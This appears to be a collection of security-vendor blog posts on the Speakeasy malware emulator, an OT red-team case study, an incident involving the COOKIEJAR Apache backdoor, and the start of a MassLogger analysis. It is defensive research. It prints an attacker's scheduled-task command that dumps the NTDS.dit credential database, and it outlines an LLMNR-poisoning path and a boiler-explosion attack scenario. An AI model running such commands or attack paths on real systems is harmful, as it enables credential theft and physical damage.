For organizations that utilize Splunk security solutions as their SIEM solution, for automation, analytics or log aggregation, or want to try out for free with Splunk’s free trial download, we developed an application called “Dog and Feline Urgent Response (DFUR)” to demonstrate application log forensic analysis and dashboard pivoting concepts. The code contains pre-indexed data and CSV files referenced by searches contained in four Splunk XML dashboards. All data, such as IP addresses and usernames, was fabricated for the purposes of the demo and any association with organizations, users, or pets is coincidental.

# Emulation of Malicious Shellcode With Speakeasy

In order to enable emulation of malware samples at scale, we have developed the Speakeasy emulation framework. Speakeasy aims to make it as easy as possible for users who are not malware analysts to acquire triage reports in an automated way, as well as enabling reverse engineers to write custom plugins to triage difficult malware families.

Originally created to emulate Windows kernel mode malware, Speakeasy now also supports user mode samples. The project’s main goal is high resolution emulation of the Windows operating system for dynamic malware analysis for the x86 and amd64 platforms. Similar emulation frameworks exist to emulate user mode binaries. Speakeasy attempts to differentiate from other emulation frameworks the following ways:

• Architected specifically around emulation of Windows malware
• Supports emulation of kernel mode binaries to analyze difficult to triage rootkits
• Emulation and API support driven by current malware trends to provide the community with a means to extract indicators of compromise with no extra tooling
• Completely configurable emulation environment requiring no additional code

The project currently supports kernel mode drivers, user mode Windows DLLs and executables, as well as shellcode. Malware samples can be automatically emulated, with reports generated for later post processing. The ongoing project goal will be continuing to add support for new or popular malware families.

In this blog post, we will show an example of Speakeasy’s effectiveness at automatically extracting network indicators from a Cobalt Strike Beacon sample acquired from an online malware aggregate.

#### Background

Dynamic analysis of Windows malware has always been a crucial step during the malware analysis process. Understanding how malware interacts with the Windows API and extracting valuable host-based and network-based indicators of compromise (IOCs) are critical to assessing the impact malware has on an affected network. Typically, dynamic analysis is performed in an automated or targeted fashion. Malware can be queued to execute within a sandbox to monitor its functionality, or manually debugged to reveal code paths not executed during sandbox runs.

Code emulation has been used historically for testing, validation and even malware analysis. Being able to emulate malicious code lends many benefits from both manual and automated analysis. Emulation of CPU instructions allows for total instrumentation of binary code where control flow can be influenced for maximum code coverage. While emulating, all functionality can be monitored and logged in order to quickly extract indicators of compromise or other useful intelligence.

Emulation provides several advantages over execution within a hypervisor sandbox. A key advantage is noise reduction. While emulating, the only activity that can be recorded is either written by the malware author, or statically compiled within the binary. API hooking within a hypervisor (especially from a kernel mode perspective) can be difficult to attribute to the malware itself. For example, sandbox solutions will often hook heap allocator API calls without knowing if the malware author intended to allocate memory, or if a lower-level API was responsible for the memory allocation.

However, emulation has disadvantages as well. Since we are removing the operating system from the analysis phase, we, as the emulator, are now responsible for providing the expected inputs and outputs from API calls and memory access that occur during emulation. This requires substantial effort in order to successfully emulate malware samples that are expected to the run on a legitimate Windows system.

#### Shellcode as an Attack Platform

In general, shellcode is an excellent choice for attackers to remain stealthy on an infected system. Shellcode runs within executable memory and does not need to be backed by any file on disk. This allows attacker code to hide easily within memory where most forms of traditional forensic analysis will fail to identify it. Either the original binary file that loads the shellcode must first be identified, or the shellcode itself must be dumped from memory. To avoid detection, shellcode can be hidden within a benign appearing loader, and then be injected into another user mode process.

In the first part of this blog series, we will show the effectiveness of emulation with one of the more common samples of shellcode malware encountered during incident response investigations. Cobalt Strike is a commercial penetration testing framework that typically utilizes stagers to execute additional code. An example of a stager is one that downloads additional code via a HTTP request and executes the HTTP response data. The data in this case is shellcode that commonly begins with a decode loop, followed by a valid PE that contains code to reflectively load itself. In the case of Cobalt Strike, this means it can be executed from the start of the executable headers and will load itself into memory. Within the Cobalt Strike framework, the payload in this case is typically an implant known as Beacon. Beacon is designed to be a memory resident backdoor used to maintain command and control (C2) over an infected Windows system. It is built using the Cobalt Strike framework without any code modifications and can be easily built to have its core functionality and its command and control information modified.

All of this allows attackers to rapidly build and deploy new variants of Beacon implants on compromised networks. Therefore, a tool to rapidly extract the variable components of Beacon are necessary and, ideally, will not require the valuable time of malware analysts.

#### Speakeasy Design

Speakeasy currently employs the QEMU-based emulator engine Unicorn to emulate CPU instructions for the x86 and amd64 architectures. Speakeasy is designed to support arbitrary emulation engines in the future via an abstraction layer, but it currently relies on Unicorn.

Full OS sandboxing will likely always be required to analyze all samples as generically emulating all of Windows is somewhat unfeasible. Sandboxing can be difficult to scale on demand and can be time consuming to run samples. However, by making sure we emulate specific malware families, such as Beacon in this example, we can quickly reduce the need to reverse engineer variants. Being able to generate high level triage reports in an automated fashion is often all the analysis that is needed on a malware variant. This allows malware analysts more time to focus on samples that may require deeper analysis.

Shellcode or Windows PEs are loaded into the emulated address space. Windows data structures required to facilitate basic emulation of Windows kernel mode and user mode are created before attempting to emulate the malware. Processes, drivers, devices and user mode libraries are “faked” in order to present the malware with a realistic looking execution environment. Malware will be able to interact with an emulated file system, network and registry. All these emulated subsystems can be configured with a configuration file supplied to each emulation run.

Windows APIs are handled by Python API handlers. These handlers will try to emulate expected outputs from these APIs so that malware samples will continue their expected execution path. When defining an API handler, all that is needed is the name of the API, the number of arguments the API expects, and an optional calling convention specification. If no calling convention is supplied, stdcall is assumed. Currently, if an API call is attempted that is not supported, Speakeasy will log the unsupported API and move on to the next entry point. An example handler for the Windows HeapAlloc function exported by kernel32.dll is shown in Figure 1.

Figure 1: Example handler for Windows HeapAlloc function

All entry points are emulated by default. For example, for DLLs, all exports are emulated, and for drivers, the IRP major functions are each emulated. In addition, dynamic entry points that are discovered during runtime are followed. Some examples of dynamic entry points include threads that are created or callbacks that are registered. Attributing activity to specific entry points can be crucial to seeing the whole picture when trying to identify the impact of a malware infection.

#### Reporting

Currently, all events captured by the emulator are logged and represented by a JSON report for easy post processing. This report contains events of interest that are logged during emulation. Like most emulators, all Windows API calls are logged along with arguments. All entry points are emulated and tagged with their corresponding API listings. In addition to API tracing, other specific events are called out including file, registry and network access. All decoded or “memory resident” strings are dumped and displayed in the report to revealed useful information not found within static string analysis. Figure 2 shows an example of a file read event logged in a Speakeasy JSON report.

Figure 2: File read event in a Speakeasy report

#### Speed

Because the framework is written in Python, speed is an obvious concern. Unicorn and QEMU are written in C, which provides very fast emulation speeds; however, the API and event handlers we write are in Python. Transitioning between native code and Python is extremely expensive and should be done as little as possible. Therefore, the goal is to only execute Python code when it is absolutely necessary. By default, the only events we handle in Python are memory access exceptions or Windows API calls. In order to catch Windows API calls and emulate them in Python, import tables are doped with invalid memory addresses so that we only switch into Python when import tables are accessed. Similar techniques are used for when shellcode accesses the export tables of DLLs loaded within the emulated address space of the malware. By executing as little Python code as possible, we can maintain reasonable speeds while still allowing users to rapidly develop capabilities for the framework.

#### Memory Management

Speakeasy implements a lightweight memory manager on top of the emulator engine’s memory management. Each chunk of memory allocated by malware is tracked and tagged so that meaningful memory dumps can be acquired. Being able to attribute activity to specific chunks of memory can prove to be extremely useful for analysts. Logging memory reads and writes to sensitive data structures can reveal the true intent of malware not revealed by API call logging, which is particularly useful for samples such as rootkits.

Speakeasy offers an optional “memory tracing” feature that will log all memory accesses that samples exhibit. This will log all reads, writes and executes to memory. Since the emulator tags all allocated memory chunks, it is possible to glean much more context from this data. If malware hooks a critical data structure or pivots execution to dynamically mapped memory this will be revealed and can be useful for debugging or attribution. This feature comes at a great speed cost, however, and is not enabled by default.

The emulated environment presented to malware includes common data structures that shellcode uses to locate and execute exported Windows system functions. It is necessary to resolve exported functions in order to invoke the Win32 API and therefore have meaningful impact on a targeted system. In most cases, Beacon included, these functions are located by walking the process environment block (commonly called the PEB). From the PEB, shellcode can access a list of all loaded modules within a process’s virtual address space.

Figure 3 shows a memory report generated from emulating a Beacon shellcode sample. Here we can trace the malware walking the PEB in order to find the address of kernel32.dll. The malware then manually resolves and calls the function pointer for the “VirtualAlloc” API, and proceeds to decode and copy itself into the new buffer to pivot execution.

Figure 3: Memory trace report

#### Configuration

Speakeasy is highly configurable and allows users to create their own “execution profiles”. Different levels of analysis can be specified in order to optimize individual use cases. The end goal is allowing users easy switching of configuration options with no code changes. Configuration profiles are currently structured as JSON files. If no profile is provided by the user, a default configuration is provided by the framework. The individual fields are documented within the Speakeasy project.

Figure 4 shows a snippet of the network emulator configuration subsection. Here, users can specify what IP addresses get returned when a DNS lookup occurs, or in the case of some Beacon samples, what binary data gets returned during a TXT record query. HTTP responses have custom responses configured as well.

Figure 4: Network configuration

Many HTTP stagers will retrieve a web resource using a HTTP GET request. Often, such as with Cobalt Strike or Metasploit stagers, this buffer is then immediately executed so the next stage of execution can begin. This response can be easily configured with Speakeasy configurations. In the configuration in Figure 4, unless overridden, the framework will supply the data contained in the referenced default.bin file. This file currently contains debug interrupt instructions (int3), so if the malware attempts to execute the data it exits and will be logged in the report. Using this, we can easily label the malware as a downloader that downloads additional code. Configuration fields also exist for file system and registry emulation. Files and registry paths can similarly be configured to return data to samples that expect to be running on a live Windows system.

#### Limitations

As said, emulation comes with some challenges. Maintaining feature parity with the system being emulated is an ongoing battle; however, it provides unique opportunities for controlling the malware and greater introspection options.

In cases where emulation does not complete fully, emulation reports and memory dumps can still be generated in order to gather as much data as possible. For example, a backdoor may successfully install its persistence mechanism, but fail to connect to its C2 server. In this situation, the valuable host-based indicators are still logged and can provide value to an analyst.

Missing API handlers can quickly and easily be added to the emulator in order to handle these situations. For many API handlers, simply returning a success code will be sufficient to make the malware to continue execution. While full emulation of every piece of malware may not be feasible, targeting functionality of specific malware families can greatly reduce the need to reverse engineer variants of the same families.

#### Usage

Speakeasy is available right now on our GitHub. It can be installed with the included Python installer script or installed within a Docker container using the provided Dockerfile. It is platform agnostic and can be used to emulate Windows malware on Windows, Linux or MacOS. More information can be found on the project’s README.

Once installed, Speakeasy can be used as a standalone library or invoked directly using the provided run_speakeasy.py script. In this blog post we will demonstrate how to emulate a malware sample directly from the command line. For information on how to use Speakeasy as a library, see the project’s README.

The included script is meant to emulate a single sample and generate a JSON report with the logged events. The command line arguments for run_speakeasy.py are shown in Figure 5.

Figure 5: Command line arguments for run_speakeasy.py

Speakeasy also offers a rich development and hooking interface for writing custom plugins. This will be covered in more detail in a later blog post.

#### Emulation of a Beacon Implant

For this example, we will be emulating shellcode that decodes and executes a Beacon implant variant that has a SHA-256 hash of 7f6ce8a8c2093eaf6fea1b6f1ef68a957c1a06166d20023ee5b637b5f7838918. We begin by verifying the file format of the sample. This sample is expected to be launched either by a loader or used as part of an exploit payload.

Figure 6: Hex dump of malware sample

In Figure 6, we can clearly see that the file is not in the PE file format. An analyst who has seen many shellcode samples may notice the first two bytes: “0xfc 0xe8”. These bytes disassemble to the intel assembly instructions “cld” and “call”. The “cld” instruction is a common prelude to position independent shellcode as it will clear the direction flag allowing malware to easily parse string data from system DLL’s export tables. The following call instruction is often used by shellcode to get its current program counter by following it with a “pop” instruction. This allows the malware to discover where it is executing from in memory.

Since we are reasonably certain this sample is shellcode, we will invoke Speakeasy with the command line shown in Figure 7.

Figure 7: Command line used to emulate malware sample

This will instruct Speakeasy to emulate the sample from offset zero as x86 shellcode. Note: even though we are emulating code and not actually executing it, these are still attacker generated binaries. It may still be wise to emulate malicious code within a virtual machine in the event a vulnerability is discovered in whatever native CPU emulation engine is used.

After emulation, a report will be generated named “report.json”. In addition, a full memory dump of the emulation environment will be compressed and written to “memory_dump.zip”. The malware will get loaded into emulated memory inside of a fake container process to simulate a real execution environment that shellcode would expect to be running in. Once emulation begins, emulated API calls will be logged to the screen along with their arguments and return values. Figure 8 shows the Beacon sample allocating a new memory buffer where it will copy itself. The malware then begins to manually resolve exports it needs to execute.

Figure 8: Network configuration

After additional decoding and setup, the malware attempts to connect to its C2 server. In Figure 9, we can see the malware using the Wininet library to connect and read data from the C2 server using HTTP.

Figure 9: Wininet API calls to connect to C2

The malware will loop endlessly until it receives the data it expects from its C2 server. Speakeasy will timeout after a predetermined amount of time and generate a JSON report.

Figure 10: Network C2 events

The network indicators are summarized in the “network_events” and “traffic” sections of the generated report. In Figure 10, we can see the IP address, port number and, in this case, HTTP headers associated with the connections made by the malware.

In this example, when we emulated the sample, we instructed Speakeasy to create a memory dump of the emulated address space. A ZIP archive will get created of each memory allocation along with context around it. This context includes base address, size and a tag that is assigned by the emulator in order to identify what the memory allocation corresponds to. Figure 11 shows a snippet of the memory dump files created during emulation. The file names contain the tag and base address associated with each memory allocation.

Figure 11: Individual memory blocks acquired from emulation

If we just run strings on these memory dumps, we can quickly locate interesting strings along with the Beacon configuration data, which is shown in Figure 12.

Figure 12: Configuration string data for the malware

In a triage level of analysis, we may only care about the indicators of compromise for a malware variant of a known family. However, if full reverse engineering of the sample is required, we can also recover the decoded version of the Beacon malware in its DLL form. By simply doing a primitive grep for the “MZ” magic bytes, we find the only hits are the memory dumps related to the original sample’s allocation and the virtual allocated buffer that the malware copies itself to (Figure 13).

Figure 13: Memory dump containing the decoded malware

If we look at the bytes in the original shellcode buffer, we can see that it was decoded before it was copied and is sitting in memory ready to be dumped at offset 0x48. We can now successfully load the decoded Beacon DLL into IDA Pro for full analysis (Figure 14).

Figure 14: Decoded malware successfully loaded into IDA Pro

#### Conclusion

In this blog post we demonstrated how the Speakeasy emulation framework can be used to automatically triage a Beacon malware sample. We used it to discover valuable network indicators, extract its config information from memory, and acquire a decoded Beacon DLL for further analysis.

Head over to our GitHub to start using Speakeasy today, and stay tuned for the next blog post where we will demonstrate kernel malware analysis using emulation.

# A Hands-On Introduction to Mandiant’s Approach to OT Red Teaming

Operational technology (OT) asset owners have historically considered red teaming of OT and industrial control system (ICS) networks to be too risky due to the potential for disruptions or adverse impact to production systems. While this mindset has remained largely unchanged for years, Mandiant's experience in the field suggests that these perspectives are changing; we are increasingly delivering value to customers by safely red teaming their OT production networks.

This increasing willingness to red team OT is likely driven by a couple of factors, including the growing number and visibility of threats to OT systems, the increasing adoption of IT hardware and software into OT networks, and the maturing of OT security teams. In this context, we deemed it relevant to share some details on Mandiant's approach to red teaming in OT based on years of experience supporting customers learning about tangible threats in their production environments.

In this post we introduce Mandiant's approach to OT red teaming and walk through a case study. During that engagement, it took Mandiant only six hours to gain administrative control on the target's OLE for Process Control (OPC) servers and clients in the target's Distributed Control System (DCS) environment. We then used this access to collect information and develop an attack scenario simulating the path a threat actor could take to prepare for and attack the physical process (We highlight that the red team did not rely on weaknesses of the DCS, but instead weak password implementations in the target environment).

NOTE: Red teaming in OT production systems requires planning, preparation and "across the aisle" collaboration. The red team must have deep knowledge of industrial process control and the equipment, software, and systems used to achieve it. The red team and the asset owner must establish acceptable thresholds before performing any activities.

#### Mandiant's Approach for Safe Red Teaming in OT

Mandiant's approach to red teaming OT production systems consists of two phases: active testing on IT and/or OT intermediary systems, and custom attack modeling to develop one or more realistic attack scenarios. Our approach is designed to mirror the OT-targeted attack lifecycle—with active testing during initial stages (Initial Compromise, Establish Foothold, Escalate Privileges, and Internal Reconnaissance), and a combination of active/passive data collection and custom threat modeling to design feasible paths an attacker would follow to complete the mission.

Figure 1: Mandiant OT red teaming approach

• Mandiant's OT red teaming may begin either from the perspective of an external attacker leveraging IT compromises to pivot into the OT network, or from the perspective of an actor who has already gained access into the OT network and is ready to escalate the intrusion.
• We then leverage a range of commodity tools and utilities that are widely available in most target environments to pivot across OT intermediary systems and gain privileged access to target ICS.
• Throughout this process, we maintain constant communication with the customer to establish safety thresholds. Active participation from the defenders will also enable the organization to learn about the techniques we use to extract information and the weaknesses we exploit to move across the target network.
• Once the active testing stops at the agreed safety threshold, we compile this information and perform additional research on the system and processes to develop realistic and target-specific attack scenarios based on our expertise of threat actor behaviors.

Mandiant's OT red teaming can be scoped in different ways depending on the target environment, the organization's goals, and the asset owner's cyber security program maturity. For example, some organizations may test the full network architecture, while others prefer to sample only an attack on a single system or process. This type of sampling is useful for organizations that own a large number of processes and are unlikely to test them one by one, but instead they can learn from a single-use case that reflects target-specific weaknesses and vulnerabilities. Depending on the scope, the red teaming results can be tailored to:

• Model attack scenarios based on target-specific vulnerabilities and determine the scope and consequences if a threat actor were to exploit them in their environment.
• Model attack paths across the early stages of reconnaissance and lateral movement to identify low-hanging fruit that adversaries may exploit to enable further compromise of OT.
• Operationalize threat intelligence to model scenarios based on tactics, techniques, and procedures (TTPs) from known actors, such as advanced persistent threats (APTs).
• Test specific processes or systems deemed at high risk of causing a disruption to safety or operations. This analysis highlights gaps or weaknesses to determine methods needed to secure high-risk system(s).

#### Red Teaming in OT Provides Unique Value to Defenders

Red teaming in OT can be uniquely helpful for defenders, as it generates value in a way very specific to an organizations' needs, while decreasing the gap between the "no holds barred" world of real attackers and the "safety first" responsibility of the red team. While it is common for traditional red teaming engagements to end shortly after the attacker pivots into a production OT segment, a hybrid approach, such as the one we use, makes it possible for defenders to gain visibility into the specific strengths and weaknesses of their OT networks and security implementations. Here are some other benefits of red teaming in OT production networks:

• It helps defenders understand and foresee possible paths that sophisticated actors may follow to reach specific goals. While cyber threat intelligence is another great way to build this knowledge, red teaming allows for additional acquisition of site-specific data.
• It responds to the needs of defenders to account for varying technologies and architectures present in OT networks across different industries and processes. As a result, it accounts for outliers that are often not covered by general security best practices guidance.
• It results in tangible and realistic outputs based on our active testing showing what can really happen in the target network. Mandiant's OT red teaming results often show that common security testing tools are sufficient for actors to reach critical process networks.
• It results in conceptual attack scenarios based on real attacker behaviors and specific knowledge about the target. While the scenarios may sometimes highlight weaknesses or vulnerabilities that cannot be patched, these provide defenders with the knowledge needed to define alternative mitigations to mitigate risks earlier in the lifecycle.
• It can help to identify real weaknesses that could be exploited by an actor at different stages of the attack lifecycle. With this knowledge, defenders can define ways to stop threat activity before it reaches critical production systems, or at least during early phases of the intrusion.

#### Applying Our Approach in the Real World: Big Steam Works

During this engagement, we were tasked with gaining access to critical control systems and designing a destructive attack in an environment where industrial steaming boilers are operated with an Distributed Control System (DCS). In this description, we redacted customer information—including the name, which we refer to as "Big Steam Works"—and altered sensitive details. However, the overall attack techniques remain unchanged. The main objective of Big Steam Works is to deliver steam to a nearby chemical production company.

For the scope of this red team, the customer wanted to focus entirely on its OT production network. We did not perform any tests in IT networks and instead begun the engagement with initial access granted in the form of a static IP address in Big Steam Work's OT network. The goal of the engagement was to deliver consequence-driven analysis exploring a scenario that could cause a significant physical impact to both safety and operations. Following our red teaming approach, the engagement was divided in two phases: active testing across IT and/or OT intermediary systems, and custom attack modeling to foresee paths an attacker may follow to complete its mission.

We note that during the active testing phase we were very careful to maintain high safety standards. This required not only highly skilled personnel with knowledge about both IT and OT, but also constant engagement with the customer. Members from Big Steam Works helped us to set safety thresholds to stop and evaluate results before moving forward, and actively monitored the test to observe, learn, and remain vigilant for any unintended changes in the process.

Phase 1 – Active Testing

During this phase, we leveraged publicly accessible offensive security tools (including Wireshark, Responder, Hashcat, and CrackMapExec) to collect information, escalate privileges, and move across the OT network. In close to six hours, we achieved administrative control on several Big Steam Works' OLE for Process Control (OPC) servers and clients in their DCS environment. We highlight that the test did not rely on weaknesses of the DCS, but instead weak password implementations in the target environment. Figure 2 details our attack path:

Figure 2: Active testing in Big Steam Work's OT network

1. We collected network traffic using Wireshark to map network communications and identify protocols we could use for credential harvesting, lateral movement, and privilege escalation. Passive analysis of the capture showed Dynamic Host Configuration Protocol (DHCP) broadcasts for IPv6 addresses, Link-Local Multicast Name Resolution (LLMNR) protocol traffic, and NetBios Name Service (NBT-NS) traffic.
2. We responded to broadcast LLMNR, NBT-NS, and WPAD name resolution requests from devices using a publicly available tool called Responder. As we supplied our IP address in response to broadcasted name resolution requests from other clients on the subnet, we performed man-in-the-middle (MiTM) attacks and obtained NTLMv1/2 authentication protocol password hashes from devices on the network.
3. We then used Hashcat to crack the hashed credentials and use them for further lateral movement and compromise. The credentials we obtained included, but were not limited to, service accounts with local administrator rights on OPC servers and clients. We note that Hashcat cracked the captured credentials in only six seconds due to the lack of password strength and complexity.
4. With the credentials captured in the first three steps, we accessed other hosts on the network using CrackMapExec. We dumped additional cached usernames, passwords, and password hashes belonging to both local and domain accounts from these hosts.
5. This resulted in privileged access and control over the DCS's OPC clients and servers in the network. While we did not continue to execute any further attack, the level of access gained at this point enabled us to perform further reconnaissance and data collection to design and conceptualize the last steps of a targeted attack on the industrial steaming boilers.

The TTPs we used during the active testing phase resemble some of the simplest resources that can be used by threat actors during real OT intrusions. The case results are concerning given that they illustrate only a few of the most common weaknesses we often observe across Mandiant OT red team engagements. We highlight that all the tools used for this intrusion are known and publicly available. An attacker with access to Big Steam Works could have used these methods as they represent low-hanging fruit and can often be prevented with simple security mitigations.

Phase 2 – Custom Attack Modeling

For roughly a week, Mandiant gathered additional information from client documentation and research on industrial steaming boilers. We then mirrored the process an attacker would follow to design a destructive attack on the target process given the results achieved during phase 1. At this point of the intrusion, the attacker would have already obtained complete control over Big Steam Works' OPC clients and servers, gaining visibility and access to the DCS environment.

Before defining the path to follow, the attacker would likely have to perform further reconnaissance (e.g., compromising additional systems, data, and credentials within the Big Steam Works DCS environment). Specifically, the attacker could:

• Obtain configuration/control logic files
• Determine the type/function of the different DCS nodes in the environment
• Use native DCS tools for system overview, graphics display, and point drill down
• Identify alarms/alerts monitored by operators via remote HMI screens and map them to defined points
• Map the flow of the physical process based on data collection and review

Our next step was to develop the custom scenario. For this example, we were tasked with modeling a case where the attacker was attempting to create a condition that had a high likelihood of causing physical damage and disruption of operations (see Figure 3). In this scenario, the attacker attempted to achieve this by lowering the water level in a boiler drum below the safe threshold while not tripping the burner management system or other safety mechanisms. If successful, this would result in rapid and extreme overheating in the boiler. Opening the feedwater valve under such conditions could result in a catastrophic explosion.

Figure 3: Custom attack model diagram for Big Steam Works

Figure 3 describes how a real attacker might pursue their mission after gaining access to the OPC servers and clients. As the actor moves closer to their goals, it becomes more difficult to assess both the probability of success and the actual impact of their actions due to nuances specific to the client environment and additional safety and security controls built into the process. However, the analysis holds significant value as it illustrates the overall structure of the physical process and potential attacker behaviors aimed at achieving specific end goals. Furthermore, it proceeds directly from the results obtained during the first phase of the red teaming.

The model presents one feasible combination of actions that an attacker could perform to access devices governing the boiler drum and modify the water level while remaining undetected. With the level of access obtained from phase 1, the attacker would likely be able to compromise engineering workstations (EWS) for the boiler drum's controller using similar tools. This would likely enable the actor to perform actions such as changing the drum level setpoints, modifying the flow of steam scaling, or modifying water flow scaling. While the model does not reflect all additional safety and security measures that may be present deeper in the process, it does account for the attacker's need to modify alarms and control sensor outputs to remain undetected.

By connecting the outcomes produced in the test to the potential physical impacts and motivations involved in a real attack, this model provided Big Steam Works with a realistic overview of cyber security threats to a specific physical process. Further collaboration with the customer enabled us to validate the findings and support the organization to mitigate the risks reflected in the model.

#### Outlook

Mandiant's OT red teaming supports organizations by combining both the hands-on analysis of vulnerabilities and weaknesses in IT and OT networks with the conceptual modeling of attacker goals and possible avenues to reach specific outcomes. It also enables security practitioners to adopt the attacker's perspective and explore attack vectors that may otherwise have not been conceived regardless of their value as low-hanging fruit for OT intrusions.

Our approach presents realistic scenarios based upon technical evidence of intrusion activity upon OT intermediary systems in the tested network. In this way, it is tailored to support consequence-driven analysis of threats to specific critical systems and processes. This enables organizations to identify attack scenarios involving digital assets and determine safeguards that can best help to protect the process and ensure the safety of their facilities.

During a recent investigation at a telecommunications company led by Mandiant Managed Defense, our team was tasked with rapidly identifying systems that had been accessed by a threat actor using legitimate, but compromised domain credentials. This sometimes-challenging task was made simple because the customer had enabled the Logon Tracker module within their FireEye Endpoint Security product.

Logon Tracker is an Endpoint Security Innovation Architecture module designed to simplify the investigation of lateral movement within Windows enterprise environments. Logon Tracker improves the efficiency of investigating lateral movement by aggregating historical logon activity and provides a mechanism to monitor for new activity. This data is presented in a user interface designed for analyzing investigative leads (e.g., a compromised account) and hunting for suspicious activity (e.g., RDP activity by privileged accounts). Logon Tracker also provides a graph interface that enables the identification of irregular and unique logons with the option to filter on hostnames, usernames, protocol, time of day, process name, privilege level, status (success/failure), and more.

Figure 1: Logon Tracker GUI interface

A critical component of a successful incident response is the scoping effort to identify systems that may have been accessed by the adversary. Windows Event Logs offer a commonly utilized method of identifying an adversary’s lateral movement between Windows systems. However, as with all log sources, Windows Event Logs are subject to data retention limits on endpoints, making the aggregated logon activity provided by Logon Tracker a critical source of evidence for incident response.

Logon Tracker’s graphical display along with the raw logon events allowed Mandiant Managed Defense to quickly identify 10 potentially compromised hosts and begin to create a timeline of adversary activity.

Managed Defense also leveraged Logon Tracker to monitor for additional suspicious logons and adversary activity throughout the incident response. Searching for logons (both failed and successful) from known compromised accounts and activity originating from compromised systems allowed our investigators to quickly determine which systems should be prioritized for analysis. Additionally, Logon Tracker provides investigators the ability to:

• Filter logon data for activity originating from user-provided IP ranges
• Search for logon data for activity by specific privileged accounts, including “Domain Administrators” and “Enterprise Administrators”
• Search for any privileged logon using the “Privileged” logon type
• Provide alerting and definition of custom rules (coming soon!)

#### Case Background

In mid-July, the Managed Defense Security Operations Center identified potential credential harvesting activity on a Windows server. The activity included the creation of a scheduled task configured to execute the built-in Windows utility, NTDSUTIL to take a snapshot of the active NTDS.dit file and save it locally to a text file as shown in Figure 2:

 "schtasks  /s /create /tn ntbackup /tr \"ntdsutil snapshot \\\"activate instance ntds\\\" create quit quit >c:\\Users\\admin\\AppData\\Local\\Temp\\ntds.log\" /sc once /st 05:38:00 /sd 07-12-2020 /f

Figure 2: Scheduled task creation for NTDS.DIT harvesting

The NTDS.dit file is a database that contains Active Directory data such as user objects, group memberships, groups, and—more useful to an adversary—password hashes for all users in the domain.

Leveraging Logon Tracker and simple timeline analysis, Managed Defense quickly determined an adversary had accessed this system to create a scheduled task from a system with a hostname that did not match the naming convention used within the environment. An anonymized example of Logon Tracker data is shown in Figure 3:

Figure 3: Logon Tracker data

Armed with the suspicious hostname and potentially compromised username, Managed Defense then used Logon Tracker’s search functionality to determine the scope of systems potentially accessed by the adversary.

The resulting investigation revealed that an Internet-facing Customer Relationship Management (CRM) application hosted on a Linux Apache web server had been compromised. Multiple web shells had been placed within web-accessible folders, allowing an adversary to execute arbitrary commands on the server. The adversary leveraged one of these web shells to install a malicious Apache module and restart Apache for the module to take effect. Mandiant has classified this module as COOKIEJAR (see the Malware Appendix at the end of the post for more details). The COOKIEJAR module enabled the adversary to proxy through the compromised server to any arbitrary IP/port pair within the customer’s internal network, see Figure 4.

Figure 4: PCAP data

Using this proxied access to the customer’s network, the adversary leveraged previously compromised domain credentials to connect to multiple Windows servers using SMB. Due to the use of the proxy to connect into the customer’s network, the hostname of the adversary’s workstation being used to conduct the attack was also passed into the logon events. This type of activity occurs due to the direct connection to the customers network and is similar to being on the same LAN. The non-standard hostname and non-standard customer naming convention used by the adversary help make scoping an easy task. Additionally, Managed Defense was able to leverage network detection to alert on the authentication attempts and activities of the adversary’s host.

#### Malware Appendix

During the course of the response, Mandiant identified a customized malicious Apache plugin capable of intercepting HTTP requests to an Apache HTTP server. The new malware family COOKIEJAR was created to aid in clustering and tracking this activity. The COOKIEJAR module installs a pre-connection hook that only runs if the client IP address matches a specified hardcoded adversary-controlled IP address. It listens for SSL/TLS connections on the port specified by the Apache server, using a certificate and private key loaded from /tmp/cacert.pem and /tmp/privkey.pem respectively. If the client IP address matches the hardcoded IP address (Figure 4), the backdoor accepts three commands based on the start of the URL:

• /phpconf_t/: Simply writes <html><h1>accepted.</h1></html> as the response. Likely used to test if the server is infected with the malware.
• /phpconf_s/: Executes commands on the server. Any communications to and from the system are forwarded to a shell, and are AES-256-ECB encrypted and then Base58 encoded.
• /phpconf_p/: Decode the second encoded string provided as a hostname/port (the first is ignored), using Base58 and AES-256-ECB (same key as before). The server will connect to the remote host and act as a proxy for the command and control (C2). Data to and from the C2 is encoded using Base58 and AES-256-ECB. Data to and from the remote host is not encoded.

Figure 5: Hardcoded configuration data within COOKIEJAR

#### Acknowledgements

• Chris Gardner, Malware Analyst
• Fred House, Director, Engineering

More information on FireEye Endpoint Security's  Logon Tracker Module  including the module download and user manual are available in the  FireEye Marketplace . Learn more about Mandiant Managed Defense, and catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.

# Bypassing MassLogger Anti-Analysis — a Man-in-the-Middle Approach

The FireEye Front Line Applied Research & Expertise (FLARE) Team attempts to always stay on top of the most current and emerging threats. As a member of the FLARE Reverse Engineer team, I recently received a request to analyze a fairly new credential stealer identified as MassLogger. Despite the lack of novel functionalities and features, this sample employs a sophisticated technique that replaces the Microsoft Intermediate Language (MSIL) at run time to hinder static analysis. At the time of this writing, there is only one publication discussing the MassLogger obfuscation technique in some detail. Therefore, I decided to share my research and tools to help analyze MassLogger and other malware using a similar technique. Let us take a deep technical dive into the MassLogger credential stealer and the .NET runtime.

#### Triage

MassLogger is a .NET credential stealer. It starts with a launcher (6b975fd7e3eb0d30b6dbe71b8004b06de6bba4d0870e165de4bde7ab82154871) that uses simple anti-debugging techniques which can be easily bypassed when identified. This first stage loader eventually XOR-decrypts the second stage assembly which then decrypts, loads and executes the final MassLogger payload (bc07c3090befb5e94624ca4a49ee88b3265a3d1d288f79588be7bb356a0f9fae) named Bin-123.exe. The final payload can be easily extracted and executed independently. Therefore, we will focus exclusively on this final payload where the main anti analysis technique is used.

Basic static analysis doesn’t reveal anything too exciting. We notice some interesting strings, but they are not enough to give us any hints about the malware’s capabilities. Executing the payload in a controlled environment shows that the sample drops a log file that identifies the malware family, its version, and most importantly some configuration options. A sample log file is described in Figure 1. We can also extract some interesting strings from memory as the sample runs. However, basic dynamic analysis is not sufficient to extract all host-based indicators (HBIs), network-based indicators (NBIs) and complete malware functionality. We must perform a deeper analysis to better understand the sample and its capabilities.

